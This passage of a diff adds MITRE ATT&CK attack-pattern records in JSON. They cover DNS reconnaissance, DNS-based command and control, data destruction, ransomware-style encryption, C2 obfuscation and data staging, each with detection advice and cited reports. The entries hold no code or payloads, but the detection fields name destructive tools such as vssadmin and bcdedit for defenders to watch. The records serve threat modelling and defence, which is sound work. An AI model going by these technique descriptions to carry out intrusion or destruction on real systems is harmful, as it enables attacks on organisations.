"source_name": "mitre-attack" + }, + { + "url": "https://www.paloaltonetworks.com/cyberpedia/what-is-dns-tunneling", + "description": "Palo Alto Networks. (n.d.). What Is DNS Tunneling?. Retrieved March 15, 2020.", + "source_name": "PAN DNS Tunneling" + }, + { + "url": "https://medium.com/@galolbardes/learn-how-easy-is-to-bypass-firewalls-using-dns-tunneling-and-also-how-to-block-it-3ed652f4a000", + "description": "Galobardes, R. (2018, October 30). Learn how easy is to bypass firewalls using DNS tunneling (and also how to block it). Retrieved March 15, 2020.", + "source_name": "Medium DnsTunneling" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "DNS", + "x_mitre_version": "1.0", + "modified": "2021-04-15T03:29:18.740Z", + "created": "2020-10-02T15:47:10.102Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--0ff59227-8aa8-4c09-bf1f-925605bd07ea", + "description": "Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\u2019s subdomains, mail servers, and other hosts.\n\nAdversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1590/002", + "external_id": "T1590.002", + "source_name": "mitre-attack" + }, + { + "url": "https://dnsdumpster.com/", + "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.", + "source_name": "DNS Dumpster" + }, + { + "url": "https://www.circl.lu/services/passive-dns/", + "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.", + "source_name": "Circl Passive DNS" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "DNS Calculation", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-27T20:54:28.287Z", + "created": "2020-03-11T14:56:34.154Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--83a766f8-1501-4b3a-a2de-2e2849e8dfc1", + "description": "Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)\n\nOne implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_detection": "Detection for this technique is difficult because it would require knowledge of the specific implementation of the port calculation algorithm. Detection may be possible by analyzing DNS records if the algorithm is known.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1568/003", + "external_id": "T1568.003", + "source_name": "mitre-attack" + }, + { + "source_name": "Meyers Numbered Panda", + "description": "Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.", + "url": "http://www.crowdstrike.com/blog/whois-numbered-panda/" + }, + { + "source_name": "Moran 2014", + "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group [Blog]. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html" + }, + { + "url": "https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/", + "description": "Rapid7. (2013, August 26). Upcoming G20 Summit Fuels Espionage Operations. Retrieved March 6, 2017.", + "source_name": "Rapid7G20Espionage" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "DNS Server", + "x_mitre_version": "1.0", + "modified": "2021-04-15T02:49:49.702Z", + "created": "2020-10-01T00:40:45.279Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--197ef1b9-e764-46c3-b96c-23f77985dc81", + "description": "Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.\n\nBy running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1583/002", + "external_id": "T1583.002", + "source_name": "mitre-attack" + }, + { + "url": "https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/", + "description": "Hinchliffe, A. (2019, March 15). DNS Tunneling: how DNS can be (ab)used by malicious actors. Retrieved October 3, 2020.", + "source_name": "Unit42 DNS Mar 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "DNS Server", + "x_mitre_data_sources": [ + "Domain Name: Active DNS", + "Domain Name: Passive DNS" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-17T15:56:05.112Z", + "created": "2020-10-01T00:54:30.869Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--c2f59d25-87fe-44aa-8f83-e8e59d077bf5", + "description": "Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.\n\nBy compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "Consider monitoring for anomalous resolution changes for domain addresses. Efforts may need to be tailored to specific domains of interest as benign resolution changes are a common occurrence on the internet.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1584/002", + "external_id": "T1584.002", + "source_name": "mitre-attack" + }, + { + "url": "https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html", + "description": "Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020.", + "source_name": "Talos DNSpionage Nov 2018" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html", + "description": "Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020.", + "source_name": "FireEye DNS Hijack 2019" + }, + { + "url": "https://blogs.cisco.com/security/talos/angler-domain-shadowing", + "description": "Nick Biasini. (2015, March 3). Threat Spotlight: Angler Lurking in the Domain Shadows. Retrieved March 6, 2017.", + "source_name": "CiscoAngler" + }, + { + "url": "https://www.proofpoint.com/us/threat-insight/post/The-Shadow-Knows", + "description": "Proofpoint Staff. (2015, December 15). The shadow knows: Malvertising campaigns use domain shadowing to pull in Angler EK. Retrieved October 16, 2020.", + "source_name": "Proofpoint Domain Shadowing" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "DNS/Passive DNS", + "x_mitre_version": "1.0", + "modified": "2021-04-15T03:49:13.409Z", + "created": "2020-10-02T16:57:45.044Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--17fd695c-b88c-455a-a3d1-43b6cb728532", + "description": "Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\u2019s subdomains, mail servers, and other hosts.\n\nAdversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1596/001", + "external_id": "T1596.001", + "source_name": "mitre-attack" + }, + { + "url": "https://dnsdumpster.com/", + "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.", + "source_name": "DNS Dumpster" + }, + { + "url": "https://www.circl.lu/services/passive-dns/", + "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.", + "source_name": "Circl Passive DNS" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-30T03:09:45.384Z", + "name": "Data Compressed", + "created": "2017-05-31T21:30:19.338Z", + "id": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1002", + "external_id": "T1002", + "source_name": "mitre-attack" + }, + { + "source_name": "Wikipedia File Header Signatures", + "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.", + "url": "https://en.wikipedia.org/wiki/List_of_file_signatures" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-03-25T14:47:48.728Z", + "name": "Data Destruction", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "File: File Modification", + "File: File Deletion", + "Image: Image Deletion", + "Instance: Instance Deletion", + "Snapshot: Snapshot Deletion", + "Cloud Storage: Cloud Storage Deletion", + "Volume: Volume Deletion" + ], + "x_mitre_version": "1.1", + "created": "2019-03-14T18:47:17.701Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "x_mitre_permissions_required": [ + "User", + "Administrator", + "root", + "SYSTEM" + ], + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", + "description": "Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\n\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).\n\nIn cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Brent Murphy, Elastic", + "David French, Elastic", + "Syed Ummar Farooqh, McAfee", + "Prasad Somasamudram, McAfee", + "Sekhar Sarukkai, McAfee ", + "Varonis Threat Labs" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_detection": "Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under C:\\Windows\\System32\\.\n\nIn cloud environments, the occurrence of anomalous high-volume deletion events, such as the DeleteDBCluster and DeleteGlobalCluster events in AWS, or a high quantity of data deletion events, such as DeleteBucket, within a short period of time may indicate suspicious activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1485", + "external_id": "T1485", + "source_name": "mitre-attack" + }, + { + "source_name": "Symantec Shamoon 2012", + "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.", + "url": "https://www.symantec.com/connect/blogs/shamoon-attacks" + }, + { + "source_name": "FireEye Shamoon Nov 2016", + "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html" + }, + { + "source_name": "Palo Alto Shamoon Nov 2016", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + }, + { + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf", + "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.", + "source_name": "Kaspersky StoneDrill 2017" + }, + { + "source_name": "Unit 42 Shamoon3 2018", + "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.", + "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/" + }, + { + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "source_name": "Talos Olympic Destroyer 2018" + }, + { + "url": "https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/", + "description": "Mimoso, M.. (2014, June 18). Hacker Puts Hosting Service Code Spaces Out of Business. Retrieved December 15, 2020.", + "source_name": "Data Destruction - Threat Post" + }, + { + "url": "https://www.justice.gov/usao-ndca/pr/san-jose-man-pleads-guilty-damaging-cisco-s-network", + "description": "DOJ. (2020, August 26). San Jose Man Pleads Guilty To Damaging Cisco\u2019s Network. Retrieved December 15, 2020.", + "source_name": "DOJ - Cisco Insider" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-14T23:39:50.338Z", + "name": "Data Encoding", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1132", + "external_id": "T1132", + "source_name": "mitre-attack" + }, + { + "source_name": "Wikipedia Binary-to-text Encoding", + "description": "Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.", + "url": "https://en.wikipedia.org/wiki/Binary-to-text_encoding" + }, + { + "source_name": "Wikipedia Character Encoding", + "description": "Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.", + "url": "https://en.wikipedia.org/wiki/Character_encoding" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.1", + "created": "2017-05-31T21:31:43.540Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_network_requirements": true, + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Itzik Kotler, SafeBreach" + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "attack-pattern", + "modified": "2020-03-30T03:10:12.750Z", + "name": "Data Encrypted", + "created": "2017-05-31T21:30:30.260Z", + "id": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1022", + "external_id": "T1022", + "source_name": "mitre-attack" + }, + { + "source_name": "Zhang 2013", + "description": "Zhang, H., Papadopoulos, C., & Massey, D. (2013, April). Detecting encrypted botnet traffic. Retrieved August 19, 2015.", + "url": "http://www.netsec.colostate.edu/~zhang/DetectingEncryptedBotnetTraffic.pdf" + }, + { + "source_name": "Wikipedia File Header Signatures", + "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.", + "url": "https://en.wikipedia.org/wiki/List_of_file_signatures" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-08-16T21:07:27.119Z", + "name": "Data Encrypted for Impact", + "x_mitre_data_sources": [ + "Cloud Storage: Cloud Storage Metadata", + "Cloud Storage: Cloud Storage Modification", + "Process: Process Creation", + "Command: Command Execution", + "File: File Modification", + "File: File Creation" + ], + "x_mitre_version": "1.2", + "created": "2019-03-15T13:59:30.390Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "x_mitre_permissions_required": [ + "User", + "Administrator", + "root", + "SYSTEM" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "IaaS" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "description": "Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)\n\nTo maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)\n\nIn cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Oleg Kolesnikov, Securonix" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories.\n\nIn some cases, monitoring for unusual kernel driver installation activity can aid in detection.\n\nIn cloud environments, monitor for events that indicate storage objects have been anomalously replaced by copies.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1486", + "external_id": "T1486", + "source_name": "mitre-attack" + }, + { + "url": "https://www.us-cert.gov/ncas/alerts/TA16-091A", + "description": "US-CERT. (2016, March 31). Alert (TA16-091A): Ransomware and Recent Variants. Retrieved March 15, 2019.", + "source_name": "US-CERT Ransomware 2016" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html", + "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.", + "source_name": "FireEye WannaCry 2017" + }, + { + "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A", + "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.", + "source_name": "US-CERT NotPetya 2017" + }, + { + "url": "https://www.us-cert.gov/ncas/alerts/AA18-337A", + "description": "US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware. Retrieved March 15, 2019.", + "source_name": "US-CERT SamSam 2018" + }, + { + "url": "https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/", + "description": "Gietzen, S. (n.d.). S3 Ransomware Part 1: Attack Vector. Retrieved April 14, 2021.", + "source_name": "Rhino S3 Ransomware Part 1" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Data Manipulation", + "x_mitre_data_sources": [ + "File: File Metadata", + "Process: OS API Execution", + "File: File Creation", + "File: File Deletion", + "File: File Modification", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_version": "1.0", + "modified": "2021-04-24T14:04:16.371Z", + "created": "2020-03-02T14:19:22.609Z", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "root", + "SYSTEM" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931", + "description": "Adversaries may insert, delete, or manipulate data in order to manipulate external outcomes or hide activity. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.\n\nThe type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "x_mitre_impact_type": [ + "Integrity" + ], + "x_mitre_detection": "Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1565", + "external_id": "T1565", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Data Obfuscation", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1001", + "external_id": "T1001", + "source_name": "mitre-attack" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-15T00:40:27.670Z", + "created": "2017-05-31T21:30:18.931Z", + "x_mitre_network_requirements": true, + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", + "description": "Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Data Staged", + "x_mitre_data_sources": [ + "File: File Access", + "File: File Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.3", + "modified": "2021-03-08T10:33:00.855Z", + "created": "2017-05-31T21:30:58.938Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging 